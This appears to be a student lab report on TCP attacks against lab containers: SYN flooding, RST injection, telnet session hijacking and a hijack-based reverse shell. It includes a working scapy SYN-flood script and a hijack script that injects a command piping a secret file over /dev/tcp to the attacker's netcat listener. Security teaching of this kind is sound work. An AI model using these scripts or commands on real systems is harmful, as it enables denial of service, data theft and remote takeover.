**TCP ATTACKS**

**Task 1: Task 1: SYN Flooding Attack**

**Only do Task 1.1: Launching the Attack Using Python**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| #!/bin/env python3  from scapy.all import IP, TCP, send  from ipaddress import IPv4Address  from random import getrandbits  ip = IP(dst="10.9.0.5") # victim IP  tcp = TCP(dport=23, flags='S') # dport=23 for telnet - flag S for SYN request  pkt = ip/tcp  while True:  pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP  pkt[TCP].sport = getrandbits(16) # source port  pkt[TCP].seq = getrandbits(32) # sequence number  send(pkt, verbose = 0)  synflood.py  This code sends out spoofed TCP SYN packets, with randomly generated source IP address, source port, and sequence number.  A screenshot of a computer  Description automatically generated  A screenshot of a computer  Description automatically generated We can use the *netstat* command to view the active connections.  **SYN Cookie Countermeasure**: By default, the SYN flooding countermeasure is turned on. This mechanism is called SYN cookie. It will kick in if the machine detects that it is under the SYN flooding attack. In our victim server container, we have already turned it off (see the sysctls entry in the docker-compose.yml file).  Now we run the *synflood.py* to flood the victim’s SYN requests: \*To prevent a privilege error from happening we run the command with *sudo A screenshot of a computer program  Description automatically generated* *A screenshot of a computer  Description automatically generated*  **TCP transmission issue:** telnetting at this point is always successful, which means our attack fails because it is not fast enough to connect after the TCP retransmissions. So we try running multiple instances of the attack program in parallel. When trying this approach, we were able to flood the victim’s SYN requests and get a reasonable attack success rate **when 3 programs are running** in parallel.  A screenshot of a computer  Description automatically generated  **Adjusting the size of the queue:**  In this approach we will adjust the number of half-open connections stored in the queue to 80. (default is 256) This should improve our success rate.  Now we flush the TCP metrics cache and try telnetting the victim:  A screenshot of a computer program  Description automatically generated  We were unable to establish a connection to the victim during this attack, which makes our attack successful. |

**Task 2: TCP RST Attacks on telnet Connections**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **First of all, we will open Wireshark for listen to any tcp to the victim and capture it:**  A screenshot of a computer  Description automatically generated   * We check the ctcp connection on the victim side by using this command (nerstat -tna)   And as shown it is listen for any tcp connection but there is no connection established yet  A screenshot of a computer  Description automatically generated   * Now we will establish TCP connection using telnet to the victim * telnet 10.9.0.5   A screenshot of a computer  Description automatically generated  A screenshot of a computer  Description automatically generated   * We can check the connection by execute command (netstat -tna) int victim side to and we can see than the tcp connection established, also we check the captured packet on the wireshark. * Now we will modify the Skelton code from the last capture tcp as we need to make sure to use the last sequence number which is the next sequence number beside the port number..etc.   A screenshot of a computer  Description automatically generated   * Now we launching the attack.   A screenshot of a computer  Description automatically generated   * We can see that the RST captured which means the attacked successful.   A screenshot of a computer  Description automatically generated   * And from user the connection terminated   A screenshot of a computer  Description automatically generated   * Also we can check that from the victim side by executing (netstat -tna) to see the tcp connections   A screenshot of a computer  Description automatically generated |

**Task 3: TCP Session Hijacking**

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits. In addition, answer any questions if any.

|  |
| --- |
| **Code Snippet:**  #!/usr/bin/env python3  from scapy.all import \*  ip = IP(src="10.9.0.6", dst="10.9.0.5")  tcp = TCP(sport=51276, dport=23, flags="A", seq=80665391, ack=1890332202)  #data = "\r pwd\r"  data = "\r cat confData > /dev/tcp/10.9.0.1/5050 \r"  pkt = ip/tcp/data  ls(pkt)  send(pkt,iface='br-1d542679c944', verbose=0)  **Screenshots:**  Terminal of 10.9.0.6 (user1) telnetted to victim-10.9.0.5:    Terminal of victim-10.9.0.5 showing available tcp connection before and after user1 telnets:    Terminal of attacker after running python code:    The state of the packets after running task3.py:    **Observations and Explanations:**  So, we create an IP and TCP packet and the source is 10.9.0.6 and destination 10.9.0.5, to get the TCP packet values. You have to open wireshark and go to the correct network to capture the packets. After doing that, we created a secret file in telnet which the attacker will get the content of confData file. After entering the correct port, sequence, acknowledgement numbers, we then write our malicious linux command in the data variable which is :” \r cat confData > /dev/tcp/10.9.0.1/5050 \r”. the \r is used in telnet and it will be executed on the remote host. Then we encapsulate the packets with the data and then list the content of the packet using ls(pkt) which will show in the attacker container. As you can see in the screenshot, the confData holds the data: ***“netsecLove2024”***, showing we hijacked the tcp connection.  To make this work you also have to do nc -l 5050 on the attacker container to be able to listen to the port 5050. Since our data variable is on the port 5050 on a tcp connection it will listen to the telnet connection established by user1 to victim.  I came across many issues like not knowing what is \r or sometimes copying the wrong ack and seq. I learnt a lot about how the containers and telnet work which is highly beneficial. |

**Task 4: Creating Reverse Shell using TCP Session Hijacking**

|  |
| --- |
| This task is about creating a reverse shell using TCP session hijacking. Our goal is to hack a connection session between two users telnetting and get access to the telnet itself.  **Procedure:**   1. **A screenshot of a computer     Description automatically generated**   First create a reverse.py file (code screenshot attached above). This code will catch any packets coming from source 10.9.0.5. After catching that packet, it alters the content of the packet by reversing the IP fields and the TCP fields. But the special part here is the data field which allows us to start a bash shell when its input is coming from a tcp connection. Then it sends this packet over to the new destination port.   1. **A screenshot of a computer     Description automatically generated**   Then we run the command “nc -lnv 9090” on the attacker container to listen to any packets travelling over that port address.   1. **A screenshot of a computer     Description automatically generated**   Then we establish a telnet connection from user 1 to the victim container of ip 10.9.0.5. This causes packets to start being transferred between **user 1** and **victim**.   1. **A screenshot of a computer     Description automatically generated**   Then we run the “reverse.py” file on the attacker’s container. This will listen to any packets travelling between **victim** and **user 1** and redirect a message to the pre-defined port ‘9090’**.**   1. **A screenshot of a computer     Description automatically generated**   Now when we try to write data in the telnet connection we made, we observe that it hangs pretty quick. That is because a packet was caught, its content changed and now the tcp terminal has been sent over to port 9090 that the attacker was listening on.   1. **A screenshot of a computer     Description automatically generated**   Once we come back to the attacker, we can see that a connection was successfully resolved and now we have access to the interface of the victim’s pc. Here we can do malicious activities on the victims’ pc. |